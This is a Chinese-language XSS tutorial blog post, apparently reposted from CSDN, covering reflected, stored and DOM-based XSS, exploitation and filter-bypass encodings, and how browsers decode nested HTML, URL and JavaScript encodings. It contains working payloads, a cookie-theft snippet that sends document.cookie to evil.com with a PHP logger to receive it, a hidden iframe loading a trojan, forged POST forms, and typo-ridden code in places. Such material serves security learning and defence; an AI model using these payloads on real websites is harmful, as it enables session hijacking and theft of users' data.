xss基础知识点

xss

1.概念

​ 跨站脚本攻击,英文全称Cross Site Script.

​ xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.

常见场景

标签内的xss

${Xss}

属性里面的xss

事件中的xss

css里面的xss

<style type="text/css">
    body{background-image:url(${xss});}
</style>
${xss}:javascript:alert(/xss/)
``` Script标签 ``` $username=1" alert(/xss/);// ```

输入的单引号/双引号被转义 标签内进行突破

οninput=alert(1) //

οnchange=alert(1)//

分类

xss根据效果不同,分成以下几类:

反射型xss

用户的输入,最终会由浏览器反馈给用户

如http://www.test.com?xs=

后端页面:

<?php
	$input = $_GET['xs'];
	echo $input;
?>

数据由服务端处理,传回来,最终又反馈到浏览器

反射型xss利用通常需要黑客诱导用户点击恶意链接等.

储存型xss

储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.

比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.

所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码

Dom型xss

Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面

比如:

<script>
    function test()(
		var str = document.getElementById("text").value;
		document.getElementById("x").innerHTML = str;
	)
</script>

<html>
    <input type="text" id="text" value=""/>
    <div id="x">
        a
    </div>
</html>

xss攻击

利用方式
通过xss加载恶意代码

​ http://www.test.com?xss=

xss窃取cookie

var img = document.createElement("img");
imr.src = "http://www.evil.com?"+escape(document.cookie);
<!--escape对字符进行编码-->
document.body.appendChild(img);

这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
也可以在服务器接收

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?

可以利用cookie进行访问网站

会话劫持SESSION

xss让管理员添加用户等(构造POST请求,AJAX等)

获取webshell:利用管理员权限写一句话木马等

xss构造GET请求

比如搜狐网站删除某文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&d=156713012

var img = document.createElement("img");
imr.src = "	http://blog.sohu.com/manage/entry.do?m=delete&d=156713012";
document.body.appendChild(img);

即成功构造了GET请求

xss构造POST请求

构造表单的方式

var f = document.createElement("form");
f.action = "";
f.method = "post";
document.body.appendChild(f);
var i1 = document.createElement("input");
i1.name = "ck";
i1.value = "JiUY";
f. appendchild(i1) :
var i2. document.createElement ("input");
i2.name = "mb_text";
i2.value = "testtesttest";
f. appendChild(i2);

f.submit();

直接写HTML代码

var dd = document.creatElement("div");
document.body.appendChild(dd);
dd.innerHTML = 'payloadForm(id=xssform)'

doocument.getElementById("xssform").submit();

xss钓鱼攻击
网页挂马

<iframe src=http://www.evil.com/trojan.html width=0 height=0></iframe>

DOS和DDOS

<script>for (;;) alert("XSS"); </script>
<meta http-equiv="refresh" content="0">

识别用户浏览器,操作系统,安装软件

xss攻防

xss Bypass
大小写绕过zz
双写绕过
html实体编码绕过(在href里)link

过滤了javascript,用html实体编码和url双重编码绕过(先html编码再url)

仅过滤 ’ 或 " : ‘闭合" , "闭合’

输入的单引号/双引号被转义 标签内进行突破

οninput=alert(1) //

οnchange=alert(1)//

<input name="q" value=""> 输入value; 过滤on 和script

伪协议绕过:">click

支持伪协议的属性 href,lowsrc,bgsound,background,action,dynsr

空格实体编码–> %0a %0D 等替代空格绕过
alert(数字)不需要引号
()过滤 用``替代
document.write()绕过 (过滤 () = )

document.write(payload) payload进行Unicode编码可以绕过某些过滤

上述情况下再把 . 过滤

setTimeout()函数 setTimeout(jscode) 会执行里面的js代码

或者top()函数top[“document”][“write”]

对网站过滤: 公网ip->十进制绕过 127.0.0.1-> 2130706433

利用空格、回车和Tab键绕过限制

如: <img src="javas cript:alert(/xss/)" width=100>

引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript 会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。

对标签属性值转码(标签内)
    十进制/16进制

HTML中属性值本身支持ASCII码形式。

根据HTML的属性值支持ASCII码的特性,把XSS代码:
<img src="javascript:alert('XSS');">
替换成:
<img src="javascrip&#116&#58alert(/XSS/);" >

t–>ascii码 是 116–> &#116 / &#00000016 都是一样的

:–>ascii码 是58 --> &#58

还可以把&#01、&#02等字符插入到JavaScript或Vbscript的头部,另外,Tab符的ASCII码&#9、换行符的&#10、回车符的&#13可以被插入到代码中任意地方。

全角字符

IMG标记和 src属性之间没有空格
<img/src="mars.png"alt="mars">
<img/src="javascript:alert('XSS');">

此段代码在 IE 6中能成功执行

//
样式表中的/
/会被浏览器忽略,因此可以运用它来注释字符,通过插入混淆字符绕过过滤

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<div style="wid/****/th: expre/*XSS*/ssion(alert('XSS'));">
<scriScriptpt>alert('XSS')</script>
<img src="java/*/*javascript*/script/*javascript*/*/script:alert();" >
<img src="java/*script:alert();"><img src="javaa*/script:alert();">
<img src="java/*exp/**/script:alert();*/ression(alert(1))">
<img style="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression

\ 和 \0

样式标签中的\和结束符\0也是被浏览器忽略的

@\0im\port’\0ja\vasc\ript:alert(“xss”)’;
@\i\0m\00p\000o\0000\00000r\000000t"url";

eval()函数

该函数可计算字符串,并执行其中的JavaScript代码

配合16进制

我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本;

如对alert(‘XSS’)进行十六进制转码后得到:\61\6c\65\72\74\28\27\58\53\53\27\29

<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>

配合10进制:

eval()也可以执行 10 进制形式的脚本,但需要配合 String.fromCharCode()函数使用。

string.formcharcode()用于将字符转为ASCII值

例如一个正常形式的XSS示例为:

结合使用eval()和String.fromCharCode()函数后变成:

样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释 ``` ``` style属性中的javascript、expression等字符一般会被程序过滤,但经过十六进制编码后则可以逃避过滤 ```
< /div> ``` **跨站拆分法绕过长度限制** 著名安全研究员剑心曾发布一篇文章叫做《疯狂的跨站之行》,里面讲述了一种特别的XSS利用技巧,就是当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,如何使用“拆分法”执行跨站脚本代码。 当时剑心发现某个网站存在 XSS 漏洞,漏洞出现在评论的联系方式处,但是,这处只能写入30个字符长度,必须的')

从 XSS Payload 学习浏览器解码

1.Basics
(1)<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>

因为里面没有HTML编码内容,不考虑,其中href内部是URL编码,于是直接丢给URL模块处理,虽然可以解析出来,但是协议无法识别被编码的javascript:,解码失败,不会被执行
在这里插入图片描述
URL规定协议,用户名,密码都必须是ASCII,编码就无效,所以无法弹窗
在这里插入图片描述
(2) <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

先HTML解码,得到

<a href="javascript:%61%6c%65%72%74%28%32%29">

href中为URL,URL模块可识别为javascript协议,进行URL解码,得到
<a href="javascript:alert(2)">

由于是javascript协议,解码完给JS模块处理,于是被执行
(3)<a href="javascript%3aalert(3)"></a>
道理和第一个一样,URL编码“:” javascript不会执行。
(4)<div>&#60;img src=x οnerrοr=alert(4)&#62;</div>
在这里插入图片描述
这里包含了HTML编码内容,反过来以开发者的角度思考,HTML编码就是为了显示这些特殊字符,而不干扰正常的DOM解析,所以这里面的内容不会变成一个img元素,也不会被执行

从HTML解析机制看,在读取

之后进入数据状态,<会被HTML解码,但不会进入标签开始状态,当然也就不会创建img元素,也就不会执行
(5) <textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

里会有HTML解码操作,但不会有子元素 是RCDATA元素(RCDATA elements),可以容纳文本和字符引用,注意不能容纳其他元素,HTML解码得到于是直接显示RCDATA元素(RCDATA elements)包括textarea和title,所以不会弹窗

在这里插入图片描述
(6) <textarea><script>alert(6)</script></textarea>
和第五个一样,和里会有HTML解码操作,但不会有子元素,所以不会弹窗<br/> <img src="https://img-blog.csdnimg.cn/578b2415395e42eca789bfa50d68aa13.png" alt="在这里插入图片描述"/><br/> <strong>Advanced</strong><br/> (7)<code><button οnclick="confirm('7&#39;);">Button</button></code><br/> 这里onclick中为标签的属性值(类比2中的href),会被HTML解码,得到<br/> <code><button οnclick="confirm('7');">Button</button></code><br/> <img src="https://img-blog.csdnimg.cn/c266b2b60aa546188f503005815dcb0b.png" alt="在这里插入图片描述"/><br/> (8)<code><button οnclick="confirm('8\u0027);">Button</button></code>

onclick中的值会交给JS处理,在JS中只有字符串和标识符能用Unicode表示,也不能编码符号,'显然不行,JS执行失败,所以不会弹窗
在这里插入图片描述
(9)<script>&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;</script>
在这里插入图片描述
script属于原始文本元素(Raw text elements),只可以容纳文本,注意没有字符引用,于是直接由JS处理,这里全部到作文本,,JS也认不出来,执行失败,所以不能弹窗
原始文本元素(Raw text elements)有

(12)<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
这里看似将没毛病,但是这里\u0031\u0032在解码的时候会被解码为字符串12,注意是字符串,不是数字,文字显然是需要引号的,JS执行失败
(13)<script>alert('13\u0027)</script> 编码的 ‘ 是个符号,所以无法弹窗
(14)
\u000a在JavaScript里是换行,就是\n,虽然换行了,但是引号都在,没有被编码,能直接执行,所以可以弹窗
在这里插入图片描述
(15) <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>
先HTML解码,得到
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
在href中由URL模块处理,解码得到
javascript:\u0061\u006c\u0065\u0072\u0074(15)
识别JS协议,然后由JS模块处理,解码得到
javascript:alert(15)
显示可以弹窗

总结:

猜你喜欢

转载自blog.csdn.net/weixin_52776876/article/details/126012062
今日推荐